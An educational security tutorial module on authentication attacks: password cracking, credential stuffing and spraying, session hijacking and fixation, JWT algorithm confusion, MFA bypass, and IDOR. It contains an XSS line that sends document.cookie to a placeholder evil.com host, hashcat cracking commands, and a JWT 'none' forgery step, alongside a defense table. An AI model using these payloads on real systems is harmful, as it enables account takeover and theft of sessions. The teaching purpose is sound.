Authentication Attacks: Passwords, Sessions, and Tokens

We’ve covered XSS (attacking the browser) and SQL injection (attacking the database). Now we go after the front door: the login system.

Authentication is how an application answers the question: “Are you who you claim to be?” If that question gets answered wrong, everything else falls apart.

Broken authentication is the #1 way attackers get into accounts. Not fancy zero-days. Not complex exploit chains. Weak passwords, bad session management, and flawed token implementations.

How Authentication Works

A quick refresher from the web apps post:

1. User submits credentials (username + password)
2. Server verifies against stored credentials
3. Server creates a session or token
4. User's browser stores it (cookie or local storage)
5. Every subsequent request includes the session/token
6. Server checks it to confirm identity

Each of these steps can be attacked. Let’s go through them.

Attacking Passwords

How Passwords Are Stored

Good applications don’t store your actual password. They store a hash - a one-way mathematical transformation.

"password123" → hash function → "$2b$12$LJ3m4ys.Gx7jHkpYMfKC0eK8X5kJq..."

When you log in, the server hashes what you typed and compares it to the stored hash. If they match, you’re in.

One-way means you can’t reverse the hash back to the password. But you can guess passwords, hash each guess, and compare.

Brute Force

Try every possible combination until one works.

admin:password → Failed
admin:password1 → Failed
admin:password123 → Success!

Against a live login page: Usually impractical because:

• Account lockouts after N failed attempts
• Rate limiting (slow down after repeated failures)
• CAPTCHAs
• Server response time makes it slow

Against a stolen hash: Much faster. No network delay, no lockouts. Offline cracking tools like hashcat can try billions of hashes per second using GPUs.

# Hashcat example (on a hash you've legitimately obtained)
hashcat -m 3200 hash.txt wordlist.txt

Dictionary Attacks

Instead of every combination, try a list of known passwords:

admin:password
admin:123456
admin:admin
admin:letmein
admin:welcome
admin:monkey
...

The top 1,000 passwords cover a disturbing percentage of all user accounts. The SecLists repository has extensive password lists.

Credential Stuffing

People reuse passwords across sites. When a breach leaks millions of email/password pairs, attackers try those pairs on every other site.

LinkedIn breach:  alice@email.com : Summer2024!
Try on Gmail:     alice@email.com : Summer2024! → Success
Try on Amazon:    alice@email.com : Summer2024! → Success
Try on Bank:      alice@email.com : Summer2024! → Success

This is why password reuse is dangerous. One breach on one site compromises every account using the same password.

Credential stuffing is happening at scale, constantly. Millions of login attempts per day against major services, using billions of leaked credentials.

Password Spraying

Instead of many passwords against one account (brute force), try one password against many accounts.

alice:Password1 → Failed
bob:Password1 → Failed
carol:Password1 → Failed
dave:Password1 → Success!

This avoids account lockouts because each account only sees one failed attempt. With a large enough user list and a common enough password, someone will have used it.

Offline Hash Cracking

If an attacker obtains password hashes (through SQL injection, server access, or a breach), they can crack them offline.

Weak hashing algorithms fail fast:

Algorithm	Speed (approximate)	Security
MD5	60+ billion/sec (GPU)	Terrible - never use for passwords
SHA-1	20+ billion/sec (GPU)	Bad - not for passwords
SHA-256	10+ billion/sec (GPU)	Bad for passwords (too fast)
bcrypt	~30,000/sec (GPU)	Good - intentionally slow
scrypt	~20,000/sec (GPU)	Good - memory-hard
Argon2	~10,000/sec (GPU)	Best - modern standard

The purpose of bcrypt, scrypt, and Argon2 is to be slow. When a hash takes 100ms to compute instead of 1 nanosecond, brute force becomes impractical.

Salting adds random data to each password before hashing:

"password123" + "randomsalt1" → hash1
"password123" + "randomsalt2" → hash2

Same password, different salts, different hashes. This prevents attackers from using precomputed tables (rainbow tables) and means each hash must be cracked individually.

Attacking Sessions

Passwords get you in. Sessions keep you in. If someone steals your session, they don’t need your password.

Session Hijacking

Stealing a valid session identifier:

Via XSS:

// If session cookie lacks HttpOnly flag
fetch('https://evil.com/?c=' + document.cookie);

The attacker inserts this JavaScript via an XSS vulnerability. When a victim views the page, their session cookie is sent to the attacker.

Via network sniffing:

On unencrypted HTTP (no TLS), cookies travel in plaintext. Anyone on the same network (public Wi-Fi, corporate network) can capture them with tools like Wireshark.

This is why Secure flag on cookies and HTTPS everywhere are critical.

Via access to the machine:

If someone has access to your browser (physical or malware), they can extract cookies from browser storage.

Session Fixation

The attacker sets the session ID before the victim logs in:

1. Attacker gets a valid session ID from the site
2. Attacker tricks victim into using that session ID (e.g., via crafted URL)
3. Victim logs in with the attacker's session ID
4. Now the attacker's session ID is authenticated
5. Attacker uses the same session ID - they're logged in as the victim

Prevention: Generate a new session ID after successful login. The old ID becomes invalid.

Session Prediction

If session IDs are predictable (sequential numbers, timestamps, weak random generation), an attacker can guess valid sessions.

Session ID: 1001 → User A
Session ID: 1002 → User B
Session ID: 1003 → ??? (attacker guesses)

Prevention: Use cryptographically random session IDs. A 128-bit random value has enough entropy that guessing is statistically impossible.

Attacking Tokens

JWTs and API tokens have their own weaknesses.

JWT Algorithm Confusion

JWTs specify which algorithm verifies the signature. If the server doesn’t enforce a specific algorithm, an attacker can change it:

The none algorithm attack:

Change the JWT header from:
{"alg": "HS256"}
to:
{"alg": "none"}

Remove the signature. The server accepts the token without verification.

The RS256 to HS256 switch:

If the server uses RS256 (asymmetric - public/private key), an attacker changes the algorithm to HS256 (symmetric - shared secret) and signs the token with the public key (which is public and known). The server uses the same public key to verify, and it matches.

JWT Secret Brute Force

If the JWT signing secret is weak, it can be cracked:

# Using jwt_tool or hashcat to crack the secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

Once the attacker knows the secret, they can forge any JWT they want - change their role to admin, impersonate any user.

Token Expiration Issues

• Tokens that never expire: If stolen, they work forever
• No revocation mechanism: If a user logs out, the token should be invalid. With JWTs, this is hard because they’re stateless
• Refresh token theft: Long-lived refresh tokens are high-value targets

Attacking Multi-Factor Authentication (MFA)

MFA adds a second factor beyond passwords. But it’s not bulletproof.

MFA Methods and Their Weaknesses

Method	Weakness
SMS codes	SIM swapping, SS7 interception, phishing
Email codes	Email account compromise
TOTP apps (Google Authenticator)	Phishing (if user enters code on fake site)
Push notifications	MFA fatigue (spam push notifications until user accepts)
Hardware keys (YubiKey)	Phishing-resistant, but can be lost/stolen

Real-Time Phishing (AiTM)

The most common MFA bypass in modern attacks:

1. Attacker sets up a phishing page that proxies to the real site
2. Victim enters username + password on the phishing page
3. Phishing page forwards credentials to the real site
4. Real site asks for MFA code
5. Phishing page asks the victim for MFA code
6. Victim enters MFA code
7. Phishing page forwards it to the real site
8. Real site issues a session cookie
9. Phishing page captures the session cookie
10. Attacker uses the stolen session cookie - bypasses both password AND MFA

The attacker operates as a transparent proxy between the victim and the real site. By the time MFA is completed, the attacker has a valid authenticated session.

Tools like Evilginx and Modlishka automate this. Scattered Spider, a well-known threat group, uses this technique extensively.

MFA Fatigue

The attacker has the victim’s password (from a breach or phishing) and repeatedly triggers push notification MFA:

3:00 AM → Push notification: "Approve login?" → User ignores
3:01 AM → Push notification: "Approve login?" → User ignores
3:02 AM → Push notification: "Approve login?" → User accidentally approves (or approves to stop the spam)

This was used in the Uber breach in 2022. The attacker spammed push notifications until an employee approved one.

Other Authentication Flaws

IDOR (Insecure Direct Object Reference)

Not strictly an authentication flaw, but an authorization flaw that’s closely related:

GET /api/user/profile?id=123     → Your profile
GET /api/user/profile?id=124     → Someone else's profile (should be blocked!)

The server checks if you’re logged in but doesn’t check if you’re allowed to access user 124’s data. Change the ID, see someone else’s data.

Password Reset Flaws

• Predictable reset tokens: Token based on timestamp or username
• Token reuse: Reset token works multiple times
• No expiration: Reset link works days or weeks later
• Host header injection: Attacker manipulates the password reset email to contain their own domain

Account Enumeration

The login error message reveals too much:

"Username not found"      → Tells attacker this username doesn't exist
"Incorrect password"      → Tells attacker this username DOES exist

vs.

"Invalid credentials"     → Doesn't reveal which part is wrong

The first pair lets attackers build a list of valid usernames. The second doesn’t.

Defense Summary

Attack	Defense
Brute force	Account lockout, rate limiting, CAPTCHA
Credential stuffing	Monitor for credential dumps, detect unusual login patterns
Password spraying	Lock after N failures across all accounts
Weak passwords	Password policy, check against breach databases
Weak hashing	Use bcrypt/scrypt/Argon2 with salts
Session hijacking	HttpOnly + Secure cookies, HTTPS everywhere
Session fixation	Regenerate session ID after login
JWT attacks	Enforce algorithm, use strong secrets, set expiration
MFA bypass (AiTM)	Hardware security keys (FIDO2/WebAuthn)
MFA fatigue	Number matching, location-based prompts
IDOR	Authorization checks on every request

Practice Safely

• PortSwigger Web Security Academy - Authentication labs: portswigger.net/web-security/authentication
• OWASP Juice Shop - Authentication challenges
• HackTheBox - Machines with auth vulnerabilities
• TryHackMe - Rooms on authentication attacks

What’s Next

Module 3 is complete. You now understand how web apps work, and the three most common ways they break: XSS, SQL injection, and authentication flaws.

Next up is Module 4: Cryptography - how encryption, hashing, and TLS actually work. You’ve seen these referenced throughout this module (password hashing, HTTPS, JWT signatures). Now we’ll explain the mechanics.

References

• OWASP - Broken Authentication
• OWASP - Credential Stuffing
• Have I Been Pwned - Check if your credentials were in a breach
• FIDO Alliance - Phishing-resistant authentication standards

---

The strongest encryption and the cleverest code don’t matter if the password is “password123” and the session cookie is sent over HTTP. Authentication is where theory meets the reality of human behavior.